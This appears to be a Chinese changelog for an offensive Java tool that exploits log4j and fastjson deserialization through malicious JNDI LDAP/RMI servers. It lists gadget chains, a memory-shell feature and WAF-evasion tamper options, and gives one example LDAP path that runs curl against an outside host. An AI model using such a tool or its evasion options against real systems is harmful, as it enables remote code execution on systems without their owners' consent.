# 2022-01-07 修复了log4j批量检测的一个BUG以及做了优化，结果会保存到 log4j_result.txt
log4j检测，建议用 0 或者 4 的payload ,相对通用一些

2. 优化 jndi.LDAPRefServer，支持gadget/command形式，例如 ldap://xx.xx.xx.xx:1099/CommonsCollections1/curl x.com"
具体执行 java -cp jndi_tool.jar jndi.LDAPRefServer 1099查看
2021-09-23日志：
1. fastjson.LDAPRefServerAuto 新增内存shell , chunk编码:可以绕一些简单的防护检测策略，结合tamper，可以绕更多的防护检测
2. fastjson.EvilRMIServer 错误修复
3. 新增一些反序列利用链
2021-03-31 新增：
1.fastjson.Tamper : fastjson的一些特性，可以绕一些WAF
[-] tamper list:
tohex
tounicode
tohexunicode
tourlencode
randomhex
randomunicode
addis
addcomment
addmorecomment
addcommas
addrandomx
add-
add_
addsize 填充内容
tamper支持多个，但有些不能一起用，多个注意使用的先后顺序，例如 tohex,addcomment
2.jndi.fastjson.LDAPRefServerAuto : 新增了一些场景的回显, 选择payload的地方增加了自定义，格式: payload={.........}
2020-10-30 新增：
jndi.fastjson.LDAPRefServerAuto: 自动找寻反序列可利用的gadget(cb1,cc1-10,spring1-2,groovy1,jdk7u21)。
